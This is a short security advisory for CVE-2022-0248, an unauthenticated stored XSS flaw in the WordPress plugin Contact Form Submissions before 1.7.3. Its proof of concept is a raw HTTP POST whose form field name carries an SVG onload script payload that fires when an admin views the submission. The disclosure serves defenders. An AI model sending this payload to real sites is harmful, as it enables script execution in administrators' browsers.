Contact Form Submissions < 1.7.3 – Unauthenticated Stored XSS | CVE 2022-0248

Description

The plugin does not sanitise and escape additional fields in contact form requests before outputting them in the related submission. As a result, unauthenticated attacker could perform Cross-Site Scripting attacks against admins viewing the malicious submission

Proof of Concept

POST /wp-json/contact-form-7/v1/contact-forms/1376/feedback HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------243715402120191890871051639470
X-Requested-With: XMLHttpRequest
Content-Length: 726
Connection: close

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Content-Disposition: form-data; name="your-name"

Attacker
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Content-Disposition: form-data; name="your-email"

attacker@domain.com
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Content-Disposition: form-data; name="your-subject"

XSS Injection
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Content-Disposition: form-data; name="your-message"

Sorry, not sorry.
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Content-Disposition: form-data; name="<svg/onload=(alert)(/XSS/)>"

Injected
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The XSS will be triggered when an admin view the related submission